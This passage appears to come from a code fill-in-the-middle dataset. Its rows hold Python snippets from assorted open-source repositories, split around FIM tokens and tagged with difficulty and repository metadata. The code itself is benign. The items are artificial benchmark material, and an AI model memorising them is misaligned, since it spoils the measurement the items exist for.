"source": "the-stack-v2"
} |
<|fim_suffix|> # 12
execute_csv2_request(
gvar, 1, 'SV', 'config_key="enable_glint" must be a boolean value.',
'/server/config/', group=ut_id(gvar, 'stg1'), form_data={
'category': 'web_frontend',
'enable_glint': 'invalid-unit-test',
},
server_user=ut_id(gv... | code_fim | hard | {
"lang": "python",
"repo": "hep-gc/cloudscheduler",
"path": "/unit_tests/test_server_config.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rodionovsasha/ShoppingListDjango path: /shoppinglist/tests/tests_views.py
from django.test import TestCase
from django.urls import reverse
from ..models import ItemsList
class ItemsListViewTest(TestCase):
@classmethod
def setUpTestData(cls):
<|fim_suffix|> resp = self.client.get... | code_fim | medium | {
"lang": "python",
"repo": "rodionovsasha/ShoppingListDjango",
"path": "/shoppinglist/tests/tests_views.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> resp = self.client.get(reverse('index'))
self.assertEqual(resp.status_code, 200)
self.assertTemplateUsed(resp, 'shoppinglist/index.html')
def test_lists_returns_all_lists(self):
resp = self.client.get('/')
self.assertEqual(resp.status_code, 200)
print(r... | code_fim | medium | {
"lang": "python",
"repo": "rodionovsasha/ShoppingListDjango",
"path": "/shoppinglist/tests/tests_views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>class tee_manager(object):
"""An object that manages a base iterator and publishes results to
one or more client `tee_iterators`.
"""
def __init__(self, iterable, n=2):
self._iterable = iter_(iterable)
self._deques = tuple(collections.deque() for _ in range(n))
def ite... | code_fim | hard | {
"lang": "python",
"repo": "Bjornwolf/language-model",
"path": "/libs/picklable-itertools/picklable_itertools/tee.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def advance(self):
"""Advance the base iterator, publish to constituent iterators."""
elem = next(self._iterable)
for deque in self._deques:
deque.append(elem)
def tee(iterable, n=2):
"""tee(iterable, n=2) --> tuple of n independent iterators."""
return te... | code_fim | medium | {
"lang": "python",
"repo": "Bjornwolf/language-model",
"path": "/libs/picklable-itertools/picklable_itertools/tee.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Bjornwolf/language-model path: /libs/picklable-itertools/picklable_itertools/tee.py
"""Support code for implementing `tee`."""
import collections
import six
from picklable_itertools import iter_
class tee_iterator(six.Iterator):
"""An iterator that works in conjunction with a `tee_manager`.... | code_fim | hard | {
"lang": "python",
"repo": "Bjornwolf/language-model",
"path": "/libs/picklable-itertools/picklable_itertools/tee.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> store = ArchiveTargetAppsStore(args.out_images_root_dir)
for target, _ in apps_fetcher.target_apps.items():
store.store(target, apps_fetcher.target_dir(target.name))
except Exception as exc:
logging.error('Failed to fetch Target apps and images: {}'.format(exc))
... | code_fim | hard | {
"lang": "python",
"repo": "EmbeddedAndroid/ci-scripts",
"path": "/apps/apps_fetcher.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: EmbeddedAndroid/ci-scripts path: /apps/apps_fetcher.py
#!/usr/bin/python3
#
# Copyright (c) 2020 Foundries.io
# SPDX-License-Identifier: Apache-2.0
import argparse
import logging
import json
from apps.target_apps_fetcher import TargetAppsFetcher
from apps.target_apps_store import ArchiveTargetA... | code_fim | hard | {
"lang": "python",
"repo": "EmbeddedAndroid/ci-scripts",
"path": "/apps/apps_fetcher.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: yukinarit/flipper path: /flipper/exceptions.py
import enum
__all__ = [
'FlipperException',
'InvalidSlackParam',
'SlackConnectionFailuer',
]
class ExitCode(enum.IntEnum):
Success = 0
Error = 1
InvalidSlackParam = 10
SlackConnectionFailuer = 11
class FlipperExceptio... | code_fim | medium | {
"lang": "python",
"repo": "yukinarit/flipper",
"path": "/flipper/exceptions.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class SlackConnectionFailuer(FlipperException):
def __init__(self, msg=None):
super(SlackConnectionFailuer, self).__init__(msg)
self.code = ExitCode.SlackConnectionFailuer<|fim_prefix|># repo: yukinarit/flipper path: /flipper/exceptions.py
import enum
__all__ = [
'FlipperExcepti... | code_fim | hard | {
"lang": "python",
"repo": "yukinarit/flipper",
"path": "/flipper/exceptions.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: valohai/django-safespace path: /safespace/excs.py
from typing import Any, Optional
class Problem(Exception):
"""
Generic problem that could be shown to the end-user.
<|fim_suffix|> def __init__(
self,
message: Optional[str] = None,
code: Optional[Any] = None,... | code_fim | medium | {
"lang": "python",
"repo": "valohai/django-safespace",
"path": "/safespace/excs.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(
self,
message: Optional[str] = None,
code: Optional[Any] = None,
title: Optional[Any] = None,
) -> None:
"""
Initialize a Problem.
:param message: The actual error message.
:param code: An optional machine-readable erro... | code_fim | medium | {
"lang": "python",
"repo": "valohai/django-safespace",
"path": "/safespace/excs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> :param message: The actual error message.
:param code: An optional machine-readable error code.
:param title: An optional title for the error.
"""
super().__init__(message)
if code:
self.code = code
if title:
self.title = titl... | code_fim | hard | {
"lang": "python",
"repo": "valohai/django-safespace",
"path": "/safespace/excs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: upura/vivid path: /samples/simple.py
import pandas as pd
from sklearn.datasets import load_boston
from vivid.core import AbstractFeature
from vivid.metrics import regression_metrics
from vivid.out_of_fold.boosting import XGBoostRegressorOutOfFold
class BostonProcessFeature(AbstractFeature):
... | code_fim | medium | {
"lang": "python",
"repo": "upura/vivid",
"path": "/samples/simple.py",
"mode": "psm",
"license": "BSD-2-Clause-Views",
"source": "the-stack-v2"
} |
<|fim_suffix|> for i, cols in df.T.iterrows():
score = regression_metrics(y, cols.values) # calculate regression metrics
print(cols.name, score)
if __name__ == '__main__':
main()<|fim_prefix|># repo: upura/vivid path: /samples/simple.py
import pandas as pd
from sklearn.datasets import load_bo... | code_fim | hard | {
"lang": "python",
"repo": "upura/vivid",
"path": "/samples/simple.py",
"mode": "spm",
"license": "BSD-2-Clause-Views",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fubiye/machine-learning path: /mnist/homemade-img-processor.py
from PIL import Image
import os
for file in os.listdir('img'):
if not file.startswith<|fim_suffix|> (filename, extension) = os.path.splitext(file)
imGrey.save('img/' + filename + '.png')<|fim_middle|>('origin'):
conti... | code_fim | medium | {
"lang": "python",
"repo": "fubiye/machine-learning",
"path": "/mnist/homemade-img-processor.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>mage.open('img/' + file)
imGrey = im.convert('L').resize((28,28), Image.ANTIALIAS)
(filename, extension) = os.path.splitext(file)
imGrey.save('img/' + filename + '.png')<|fim_prefix|># repo: fubiye/machine-learning path: /mnist/homemade-img-processor.py
from PIL import Image
import os
for fi... | code_fim | medium | {
"lang": "python",
"repo": "fubiye/machine-learning",
"path": "/mnist/homemade-img-processor.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> (filename, extension) = os.path.splitext(file)
imGrey.save('img/' + filename + '.png')<|fim_prefix|># repo: fubiye/machine-learning path: /mnist/homemade-img-processor.py
from PIL import Image
import os
for file in os.listdir('img'):
if not file.startswith<|fim_middle|>('origin'):
conti... | code_fim | medium | {
"lang": "python",
"repo": "fubiye/machine-learning",
"path": "/mnist/homemade-img-processor.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ChristineLowe/reference-data-manager path: /brdm/BaseRefData.py
import yaml
import requests
import os, shutil
import logging.config
import datetime
import hashlib
from datetime import timedelta
class BaseRefData():
def __init__(self, config_file):
#print('In NcbiData. config file:... | code_fim | hard | {
"lang": "python",
"repo": "ChristineLowe/reference-data-manager",
"path": "/brdm/BaseRefData.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
#file_url = 'https://gist.github.com/oxyko/10798051fb9cf1e11f4baac2c6c49f3b/archive/44e343bfe87f56fbc8bb6fbf3a48294aa7b0a1b6.zip'
def download_file(self, file_url, destination_dir):
local_file_name = destination_dir + file_url.split('/')[-1]
if not os.path.exists(destination_dir):... | code_fim | hard | {
"lang": "python",
"repo": "ChristineLowe/reference-data-manager",
"path": "/brdm/BaseRefData.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: learningequality/kolibri path: /kolibri/core/content/test/test_search.py
from uuid import uuid4
from django.test import TestCase
from le_utils.constants import content_kinds
from parameterized import parameterized
from kolibri.core.content.models import ContentNode
from kolibri.core.content.tes... | code_fim | hard | {
"lang": "python",
"repo": "learningequality/kolibri",
"path": "/kolibri/core/content/test/test_search.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self._run_test_for_qs(ContentNode.objects.has_all_labels(field, [label]))
class ConstrainedMetadataLabelsTestCase(TestCase):
@classmethod
def setUpTestData(cls):
for field in metadata_lookup.keys():
for label in metadata_lookup[field]:
ContentNode.obje... | code_fim | hard | {
"lang": "python",
"repo": "learningequality/kolibri",
"path": "/kolibri/core/content/test/test_search.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.prefix_sum = nums.copy()
for i in range(1, len(nums)):
self.prefix_sum[i] += self.prefix_sum[i-1]
def sumRange(self, left: int, right: int) -> int:
return self.get(right) - self.get(left - 1)
def get(self, i):
if i < 0 or i >= len(self.prefix_sum)... | code_fim | hard | {
"lang": "python",
"repo": "aiden0z/snippets",
"path": "/leetcode/303_range_sum_query_immutable.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aiden0z/snippets path: /leetcode/303_range_sum_query_immutable.py
"""Range Sum Query - Immutable
Given an integer array nums, handle multiple queries of the following type:
1. Calculate the sum of the elements of nums between indices left and right inclusive where
left <= right.
Implement th... | code_fim | hard | {
"lang": "python",
"repo": "aiden0z/snippets",
"path": "/leetcode/303_range_sum_query_immutable.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
if __name__ == '__main__':
cases = [
([-2, 0, 3, -5, 2, -1], [[0, 2], [2, 5], [0, 5]], [1, -1, -3])
]
for case in cases:
num_array = NumArray(case[0])
for item in zip(case[1], case[2]):
assert num_array.sumRange(*item[0]) == item[1]<|fim_prefix|># repo: ai... | code_fim | hard | {
"lang": "python",
"repo": "aiden0z/snippets",
"path": "/leetcode/303_range_sum_query_immutable.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: M4t1ss/Latvian-Twitter-Eater-Corpus-Processing path: /vardu-atlase/filter-txt.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json, sys, os
if __name__ == "__main__":
outFile = open('found-words-tweets-december-nominative-date-thic.tok.txt','w')
# Atlasa tvītus pēc saraks... | code_fim | hard | {
"lang": "python",
"repo": "M4t1ss/Latvian-Twitter-Eater-Corpus-Processing",
"path": "/vardu-atlase/filter-txt.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> sentenceparts = wi.strip().split(" VISIATSLEGVARDISEKO ")
sentence = sentenceparts[0]
date = sentenceparts[-1]
if len(sentenceparts) > 2:
foodWords = sentenceparts[1][:-2].split(" ;")
else:
foodWords = ["-"]
for word in s... | code_fim | medium | {
"lang": "python",
"repo": "M4t1ss/Latvian-Twitter-Eater-Corpus-Processing",
"path": "/vardu-atlase/filter-txt.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> tweets_fdist = FreqDist(tweets_nltk)
# Ignores samples that consist of only stopwords or punctuation (in testing)
stopwords = nltk.corpus.stopwords.words('english')
punctuation = ['!', '.', ',', '@', '&', '(', ')']
print([sample for sample in tokenized_tweets if sample no... | code_fim | hard | {
"lang": "python",
"repo": "alexbumpers/SocioLyze",
"path": "/tweet_nltk.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: alexbumpers/SocioLyze path: /tweet_nltk.py
import nltk
from nltk import FreqDist
from nltk import word_tokenize
from nltk.corpus import stopwords
import re
import json
class Tweet_Print():
""" This file should take in Twitter stream data from python.json, then
manipulate it using NLTK. C... | code_fim | hard | {
"lang": "python",
"repo": "alexbumpers/SocioLyze",
"path": "/tweet_nltk.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: merixstudio/iogt path: /home/migrations/0005_auto_20210527_0541.py
# Generated by Django 3.1.11 on 2021-05-27 05:41
from django.db import migrations
import home.blocks
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.images.blocks
<|fim_suffix|> dependencies = [
... | code_fim | medium | {
"lang": "python",
"repo": "merixstudio/iogt",
"path": "/home/migrations/0005_auto_20210527_0541.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
dependencies = [
('home', '0004_auto_20210409_1243'),
]
operations = [
migrations.AlterField(
model_name='article',
name='body',
field=wagtail.core.fields.StreamField([('heading', wagtail.core.blocks.CharBlock(form_classname='full title')),... | code_fim | medium | {
"lang": "python",
"repo": "merixstudio/iogt",
"path": "/home/migrations/0005_auto_20210527_0541.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> events = []
for event in q.all():
events.append({**event.to_dict(), "tags": event.tags})
return self.success(data=events)
@auth_or_token
def delete(self, dateobs):
"""
---
description: Delete a GCN event
tags:
- gcneve... | code_fim | hard | {
"lang": "python",
"repo": "dmitryduev/skyportal",
"path": "/skyportal/handlers/api/gcn.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dmitryduev/skyportal path: /skyportal/handlers/api/gcn.py
# Inspired by https://github.com/growth-astro/growth-too-marshal/blob/main/growth/too/gcn.py
import os
import gcn
import lxml
import xmlschema
from urllib.parse import urlparse
from tornado.ioloop import IOLoop
from sqlalchemy.orm.exc im... | code_fim | hard | {
"lang": "python",
"repo": "dmitryduev/skyportal",
"path": "/skyportal/handlers/api/gcn.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def chunk_seq(iseq: ISeq, maxlen: int) -> Iterable[ISeq]:
"""Split the given sequence into chunks of the given size
The last chunk may be shorter than the given size.
If the input is empty, no chunks are returned.
"""
return (iseq[i : i + maxlen] for i in range(0, len(iseq), maxlen)... | code_fim | hard | {
"lang": "python",
"repo": "Awesome-Technologies/synapse",
"path": "/synapse/util/iterutils.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Awesome-Technologies/synapse path: /synapse/util/iterutils.py
# -*- coding: utf-8 -*-
# Copyright 2014-2016 OpenMarket Ltd
# Copyright 2020 The Matrix.org Foundation C.I.C.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with th... | code_fim | hard | {
"lang": "python",
"repo": "Awesome-Technologies/synapse",
"path": "/synapse/util/iterutils.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mbroihier/garage-door-opener path: /gdo_controller_driver.py
'''
Created on Jun 16, 2018
@author: broihier
'''
import sys
import time
import bluetooth
def check_bytes(ba1, ba2):
'''
Check byte arrays for equality
'''
if len(ba1) != len(ba2):
return False
index = 0
... | code_fim | hard | {
"lang": "python",
"repo": "mbroihier/garage-door-opener",
"path": "/gdo_controller_driver.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''
GDO Controller driver
'''
file_object = open(control_path, "r")
line = file_object.readline()
if line != "":
test_category_name = line.strip()
else:
print("file open error: " + control_path)
exit(-1)
re... | code_fim | hard | {
"lang": "python",
"repo": "mbroihier/garage-door-opener",
"path": "/gdo_controller_driver.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.